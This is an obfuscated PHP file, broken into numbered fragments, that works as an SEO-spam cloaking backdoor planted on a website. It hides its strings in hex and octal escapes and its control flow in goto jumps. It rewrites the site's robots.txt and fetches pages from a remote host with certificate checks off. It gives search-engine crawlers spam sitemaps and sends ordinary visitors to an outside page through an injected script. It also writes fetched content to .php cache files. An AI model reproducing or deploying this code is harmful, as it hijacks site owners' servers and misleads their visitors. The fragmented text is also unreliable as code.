2
<?
2
ph
2
p

2

 
2
go
2
to
2
 v
2
dm
3
Ff;
2
 Q
2
Z7
2
7P
3
: f
2
un
2
ct
3
ion
1
 
2
en
3
sur
2
e_
2
ro
3
bot
2
s_
3
sit
2
em
3
ap(
1
$
8
sitemapL
3
ine
2
) 
2
{ 
1
$
8
robots =
2
 r
3
tri
2
m(
2
$_
2
SE
2
RV
2
ER
2
["
3
\10
2
4\
3
x4f
4
\x43
2
\x
3
55\
2
11
5
5\105
3
\x4
3
e\1
1
2
5
4\x5f
4
\122
7
\x4f\x4
5
f\124
2
"]
2
, 
3
"\x
1
2
5
f\134
2
")
2
 .
9
 "\x2f\16
3
2\1
2
57
2
\x
5
62\x6
4
f\16
4
4\16
4
3\x2
1
e
7
\164\x7
4
8\x7
2
4"
3
; i
2
f 
2
(!
2
fi
3
le_
2
ex
3
ist
2
s(
7
$robots
5
)) { 
7
@file_p
2
ut
3
_co
2
nt
2
en
a
ts($robots
5
, "\1
4
25\x
1
7
4
3\x6
5
5\x72
4
\55\
2
x6
3
1\1
2
47
6
\x65\1
2
56
8
\164\72\
2
x2
3
0\5
4
2\xa
3
\x4
4
1\x6
1
c
4
\154
6
\x6f\x
4
77\x
2
3a
5
\x20\
6
x2f\xa
1
"
3
 . 
d
$sitemapLine,
2
 L
2
OC
2
K_
2
EX
2
);
2
 }
3
 el
2
se
5
 { $c
3
 = 
6
@file_
2
ge
12
t_contents($robots
1
)
6
; if (
5
$c ==
2
= 
2
fa
5
lse |
2
| 
2
st
3
rpo
3
s($
3
c, 
e
$sitemapLine) 
9
=== false
20
) { @file_put_contents($robots, 
e
$sitemapLine, 
3
FIL
2
E_
2
AP
2
PE
2
ND
2
 |
d
 LOCK_EX); } 
4
} } 
5
goto 
2
DH
3
sL3
2
; 
2
ba
2
bZ
2
J:
2
 $
3
dom
2
ai
1
n
8
 = trim(
3
get
2
Cu
2
rl
2
Fa
3
st(
2
$j
1
d
7
 . "\x6
7
7\x65\1
5
64\x6
6
4\x6f\
1
1
4
55\1
6
41\x69
4
\x6e
3
\x3
4
2\56
6
\141\x
4
73\1
2
60
7
\x78\x3
8
f\162\15
1
6
8
\x64\x3d
1
\
4
61\x
2
26
7
\x69\x7
3
0\7
1
5
7
" . $ip
1
)
3
); 
6
goto e
2
Xw
3
ce;
2
 X
2
WL
2
_w
3
: $
3
get
3
 = 
4
filt
3
er_
2
in
4
put_
3
arr
2
ay
2
(I
2
NP
2
UT
2
_G
2
ET
6
, FILT
2
ER
2
_S
2
AN
3
ITI
2
ZE
2
_S
2
TR
2
IN
1
G
9
); goto g
2
hI
2
XA
3
; Q
2
mN
2
xK
3
: o
2
ut
4
put_
7
sitemap
3
_an
1
d
5
_exit
d
($sitemapLine
3
, $
2
ht
3
tp_
2
ty
2
pe
8
); goto 
3
Sda
2
4b
2
; 
3
B2c
1
Y
3
K: 
3
$ip
4
 = $
2
kk
2
 !
3
== 
2
''
2
 ?
3
 "\
4
66\x
2
36
4
\56\
3
62\
6
64\x39
4
\56\
3
x38
4
\62\
4
x2e\
4
x38"
2
 :
1
 
6
get_re
2
al
2
_i
2
p(
8
); goto 
6
babZJ;
3
 ea
2
UB
2
7:
b
 $http_type
3
 = 
2
!e
3
mpt
1
y
d
($_SERVER["\1
2
10
7
\124\x5
7
4\x50\x
2
53
2
"]
2
) 
2
&&
1
 
d
$_SERVER["\x4
1
8
7
\x54\x5
4
4\12
7
0\123"]
6
 !== "
6
\157\1
1
4
6
6\146"
6
 ? "\x
1
6
c
8\x74\x74\x7
1
0
6
\163\x
6
3a\x2f
3
\57
4
" : 
5
"\150
7
\164\16
1
4
9
\160\x3a\
3
57\
3
57"
7
; goto 
2
QL
2
lh
3
b; 
5
vdmFf
3
: e
2
rr
2
or
4
_rep
3
ort
2
in
2
g(
1
0
8
); goto 
7
XWL_w; 
2
rS
3
9s0
1
:
6
 if (!
7
empty($
3
get
6
["\x66
3
"])
5
) { $
1
s
6
p = ex
2
pl
2
od
2
e(
5
"\x49
2
",
5
 $get
4
["\1
5
46"])
6
; if (
2
co
2
un
4
t($s
1
p
7
) === 2
7
) { $sz
4
 = $
2
sp
2
[0
2
];
4
 $ii
8
d = $sp[
2
1]
6
; } } 
5
goto 
2
dj
3
E41
2
; 
2
UV
2
4q
7
2: if (
e
$kk !== '' && 
2
pr
2
eg
3
_ma
2
tc
2
h(
6
"\x2f\
2
x5
4
e\13
1
3
5
\x41\
4
55\1
3
32\
7
141\x2d
2
\1
3
72\
4
60\x
3
2d\
5
x39\x
2
5d
2
\5
5
3\x24
4
\57"
1
,
4
 $kk
7
)) { $r
3
emo
1
t
4
e = 
1c
getCurlFast($jd . "\x67\x65\
4
x74\
2
14
16
4\x6f\155\141\x69\x6e\
1
6
5
2\56\
5
x61\1
8
63\x70\1
1
7
5
0\x3f
5
\x72\
5
156\1
4
44\7
1
5
5
\62\4
5
6\x6b
3
\15
5
3\x3d
5
" . $
3
kk)
1
;
d
 if (!empty($
b
remote)) { 
2
ec
2
ho
9
 $remote;
2
 d
2
ie
b
; } } goto 
3
xI3
3
e6;
2
 V
2
Tc
2
yq
b
: function 
d
get_real_ip()
5
 { $k
2
ey
4
s = 
6
array(
6
"\110\
c
x54\x54\120\
5
x5f\1
1
0
5
3\x46
b
\x5f\103\x4
5
f\116
6
\x4e\1
6
05\x43
f
\124\111\116\10
3
7\1
2
37
4
\x49
5
\120"
5
, "\1
7
10\x54\
5
124\1
8
20\x5f\x
2
58
5
\137\
6
122\x4
4
5\10
4
1\x4
7
c\137\1
4
11\1
b
20", "\110\
6
124\12
8
4\x50\x5
4
f\13
1
0
a
\137\x46\1
4
17\x
5
52\12
1
7
6
\101\x
4
52\x
5
44\x4
4
5\x4
8
4\x5f\10
1
6
8
\x4f\x52
5
", "\
8
x48\x54\
8
124\120\
5
137\1
4
03\1
1
1
7
4\111\1
c
05\x4e\x54\1
7
37\x49\
3
x50
6
", "\1
8
22\x45\1
4
15\1
5
17\12
1
4
b
\105\137\10
1
1
8
\104\x44
5
\x52"
4
); f
1
o
4
reac
1
h
4
 ($k
6
eys as
7
 $k) { 
c
if (!empty($
8
_SERVER[
1
$
1
k
7
])) { $
6
ip = $
b
_SERVER[$k]
6
; if (
9
strpos($i
5
p, "\
1
5
5
4") !
12
== false) { $ip = 
5
trim(
d
explode("\x2c
4
", $
3
ip)
3
[0]
5
); } 
4
if (
7
filter_
2
va
1
r
6
($ip, 
8
FILTER_V
2
AL
2
ID
2
AT
3
E_I
1
P
6
)) { r
3
etu
2
rn
4
 $ip
8
; } } } 
7
return 
4
"\x3
1
1
6
\x32\x
3
37\
6
56\x30
5
\56\6
7
0\56\x3
2
1"
4
; } 
6
goto z
2
BN
2
c7
2
; 
2
wZ
2
IG
1
m
b
: function 
31
output_sitemap_and_exit($sitemapLine, $http_type)
4
 { e
23
nsure_robots_sitemap($sitemapLine);
6
 echo 
3
"\7
8
4\x64\15
4
1\16
1
6
5
\x20\
4
163\
6
164\17
6
1\x6c\
4
x65\
3
75\
4
47\x
6
74\145
5
\x78\
5
164\x
4
2d\x
5
61\15
7
4\151\1
3
47\
4
156\
5
72\x6
6
3\x65\
8
156\164\
8
x65\x72\
2
x3
1
b
9
\x70\x61\
1
x
7
64\x64\
4
151\
4
x6e\
5
147\x
7
3a\61\x
1
3
4
0\x7
7
0\170\4
7
0\x30\x
4
3b\x
5
27\x3
1
e
5
\xa\x
5
20\x2
10
0\40\x20\40\x20\
7
x20\40\
b
40\x20\x20\
6
x20\x3
1
c
8
\141\x20
8
\150\162
5
\145\
4
146\
4
75\4
2
2{
a
$http_type
2
}{
13
$_SERVER["\x48\x54\
d
124\120\137\1
4
10\1
6
17\x53
6
\124"]
e
}{$_SERVER["\x
4
53\x
5
43\x5
1
2
8
\x49\120
c
\x54\137\x4e
8
\x41\x4d
4
\105
3
"]}
1
\
7
77\x77\
6
75" . 
2
da
1
t
6
e("\13
4
1\15
1
5
5
\144\
7
110\x69
9
") . "\x2
6
2\x20\
7
x74\141
5
\162\
4
x67\
5
145\1
7
64\x3d\
5
x22\x
9
5f\x62\x6
6
c\141\
5
156\1
3
53\
2
42
4
\40\
7
162\x65
6
\x6c\x
8
3d\x22\x
4
6e\1
6
57\x66
6
\x6f\x
7
6c\154\
5
157\1
4
67\x
3
22\
2
76
4
\123
7
\151\16
8
4\x65\x6
6
d\x61\
5
x70\x
3
3c\
6
57\x61
6
\76\12
f
\40\40\x20\x20\
1
4
14
0\40\x20\40\x20\x20\
4
x3c\
5
x2f\1
5
44\x6
4
9\x7
5
6\76"
9
; die; } 
5
goto 
6
UV4q2;
6
 zBNc7
e
: function get
d
CurlFast($url
5
) { $
1
c
4
ache
4
d = 
5
cache
4
_get
6
($url)
8
; if ($c
6
ached 
d
!== false) { 
8
return $
6
cached
5
; } $
4
data
1
 
4
= ''
6
; if (
8
function
8
_exists(
4
"\14
5
3\165
7
\x72\15
7
4\x5f\1
1
5
c
1\156\x69\x7
9
4")) { $c
1
h
4
 = c
3
url
4
_ini
9
t($url); 
6
curl_s
3
eto
1
p
8
t_array(
4
$ch,
7
 array(
2
CU
2
RL
2
OP
2
T_
2
RE
2
TU
2
RN
2
TR
2
AN
2
SF
3
ER 
1
=
1
>
4
 tru
3
e, 
8
CURLOPT_
2
CO
2
NN
2
EC
3
TTI
2
ME
2
OU
1
T
5
 => 5
a
, CURLOPT_
c
TIMEOUT => 8
a
, CURLOPT_
2
SS
2
L_
3
VER
2
IF
2
YP
1
E
6
ER => 
5
false
15
, CURLOPT_SSL_VERIFYH
2
OS
1
T
14
 => false, CURLOPT_F
2
OL
2
LO
1
W
3
LOC
3
ATI
2
ON
14
 => false, CURLOPT_U
3
SER
2
AG
2
EN
6
T => "
6
\x4d\1
4
57\1
6
72\151
7
\154\x6
9
c\141\57\
4
65\x
3
2e\
3
60"
4
)); 
8
$data = 
5
curl_
3
exe
1
c
4
($ch
9
); curl_c
3
los
1
e
7
($ch); 
6
} if (
7
empty($
4
data
8
) && ini
5
_get(
1
"
b
\x61\154\15
a
4\157\167\
5
137\1
b
65\x72\154\
5
137\1
4
46\1
4
57\x
5
70\x6
5
5\156
8
")) { $c
5
ontex
4
t = 
5
strea
2
m_
8
context_
1
c
3
rea
3
te(
8
array("\
4
x68\
6
164\x7
6
4\x70"
4
 => 
a
array("\x7
7
4\x69\x
3
6d\
5
145\1
5
57\x7
5
5\164
8
" => 8, 
8
"\x68\x6
8
5\x61\14
8
4\145\x7
2
2"
6
 => "\
10
125\x73\x65\x72\
5
x2d\1
4
01\x
8
67\x65\x
1
6
7
e\164\x
8
3a\x20\x
13
4d\157\172\151\154\
5
154\1
6
41\x2f
4
\65\
6
56\60\
2
xd
4
\xa"
1
)
5
, "\x
9
73\x73\x6
1
c
10
" => array("\x76
7
\145\16
1
2
a
\x69\146\1
4
71\x
4
5f\x
8
70\x65\1
b
45\x72" => 
8
false, "
6
\166\x
9
65\x72\15
6
1\146\
2
x7
1
9
d
\137\x70\x65\
7
x65\162
7
\x5f\15
7
6\141\x
6
6d\145
a
" => false
1
)
c
)); $data = 
107c
@file_get_contents($url, false, $context); } if (!empty($data)) { cache_set($url, $data); } return $data; } goto Frs4L; C4aA0: if (!empty($iid)) { $str = getCurlFast($hyzhdy . "\x3f\151\x69\144\x3d{$iid}"); echo str_replace(array("\147\x67\x67\147\x67", "\x59\x59\131\131\131", "\130\130\130\131\x59\131", "\xe5\275\223\345\211\x8d\125\122\x4c", "\125\x55\125\x55\x55"), array($sz, get_url_info(), get_url_info("\142\x61\x73\145"), get_url_info("\146\165\x6c\154"), get_url_info("\156\157\x5f\x77\x77\167")), $str); die; } goto wZIGm; mEfJ2: $kk = isset($get["\153\x6b"]) ? trim($get["\153\153"]) : ''; goto B2cYK; qVAPR: $surl = $jd . "\x73\61\62\x31\x32\x2e\x61\x73\160\x78"; goto jjw58; fDKhA: $sz = $iid = ''; goto rS9s0; djE41: if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}\63\153\147\56\141\x73\160\x78\x3f\163\172\x3d" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}\63\x6b\147\56\x61\x73\160\x78\x3f\170\171\x3d{$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}\x33\153\147\56\x61\163\160\170\77\152\x64\x3d" . urlencode($jd)); } goto fl0Mc; jjw58: $sitemapLine = "\123\151\x74\145\x6d\141\x70\72\40{$http_type}{$_SERVER["\x48\124\x54\x50\137\110\117\x53\124"]}{$_SERVER["\x53\x43\122\111\x50\124\x5f\116\101\x4d\x45"]}\77\167\x3d" . date("\131\155\144\x48\151") . "\12"; goto QZ77P; Frs4L: function get_url_info(string $type = "\144\x6f\155\x61\x69\x6e") : string { $host = $_SERVER["\x48\x54\x54\120\137\x48\117\123\x54"] ?? ''; if ($type === "\156\157\137\x77\x77\167") { return preg_replace("\x2f\x5e\x77\167\x77\134\56\57\151", '', $host); } $protocol = !empty($_SERVER["\110\124\x54\x50\123"]) && $_SERVER["\x48\x54\x54\120\x53"] !== "\x6f\146\x66" ? "\x68\x74\164\x70\x73\x3a\57\57" : "\150\x74\x74\160\72\x2f\57"; $base = $protocol . $host; if ($type === "\142\141\x73\145") { return $base; } if ($type === "\x66\165\154\154") { return $base . ($_SERVER["\x52\105\121\125\x45\x53\x54\137\x55\x52\x49"] ?? ''); } return $host; } goto eaUB7; eXwce: if ($domain !== "\x67\x6f\x6f\147\x6c\145" && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "\x67\x6e\56\141\163\x70\170\x3f\x69\x69\x64\x3d" . $iid)); echo "\74\x73\143\162\151\160\x74\76\154\157\x63\x61\x74\151\157\156\75\42" . $jd . "\141\x2e\x61\x73\x70\x78\x3f\x63\156\x61\x6d\145\x3d" . urlencode($kname) . "\46\x75\162\154\75" . $http_type . $_SERVER["\x48\124\x54\120\137\x48\x4f\123\x54"] . $_SERVER["\123\x43\x52\111\x50\x54\137\x4e\x41\115\105"] . "\42\74\57\163\x63\x72\151\160\164\76"; die; } goto C4aA0; DHsL3: if (!empty($get["\x77"])) { $params = http_build_query(array("\x4e\x4f\125\x6d\142\x65\x72" => $get["\116\117\x55\155\142\x65\162"] ?? '', "\x74" => $get["\x74"] ?? '', "\143\x6e" => $get["\x63\x6e"] ?? '', "\160\116\117\125\155" => $get["\x70\116\117\125\x6d"] ?? '', "\143\151\x64" => $get["\x63\151\144"] ?? '', "\155" => $get["\155"] ?? '')); $str = getCurlFast("{$surl}\x3f{$params}"); echo str_replace(array("\171\171\x6d\155", "\147\x67\147\147\147"), array($http_type . $_SERVER["\x48\x54\124\x50\x5f\110\x4f\x53\x54"] . $_SERVER["\123\103\122\x49\120\124\x5f\x4e\x41\x4d\x45"], $sz), $str); die; } goto mEfJ2; XsAcz: function cache_set($key, $data) { $file = sys_get_temp_dir() . "\x2f\143\x61\x63\150\x65\137" . md5($key) . "\x2e\160\150\x70"; @file_put_contents($file, $data, LOCK_EX); } goto VTcyq; QLlhb: $vurl = "\x74\157\x2e\x6a\147\141\x6c\154\x73\56\x63\x6f\x6d\x2f"; goto fDKhA; S2KVF: $is_no_query = empty($_SERVER["\x51\x55\105\x52\131\x5f\123\124\122\111\x4e\x47"]); goto zHnCd; xI3e6: if ($kk !== '' && !preg_match("\57\x5e\133\101\55\132\x61\55\x7a\60\55\x39\135\53\44\x2f", $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } goto S2KVF; fl0Mc: $hyzhdy = $jd . "\x31\x32\61\62\56\x61\163\x70\x78"; goto qVAPR; ghIXA: function cache_get($key, $expire = 300) { $file = sys_get_temp_dir() . "\x2f\x63\141\143\150\145\137" . md5($key) . "\56\x70\150\160"; if (file_exists($file) && time() - filemtime($file) < $expire) { return file_get_contents($file); } return false; } goto XsAcz; zHnCd: if ($kk === '' && $is_no_query) { if ($domain === "\x67\157\157\x67\x6c\x65") { output_sitemap_and_exit($sitemapLine, $http_type); } else { die; } } goto QmNxK; Sda4b: ?>
0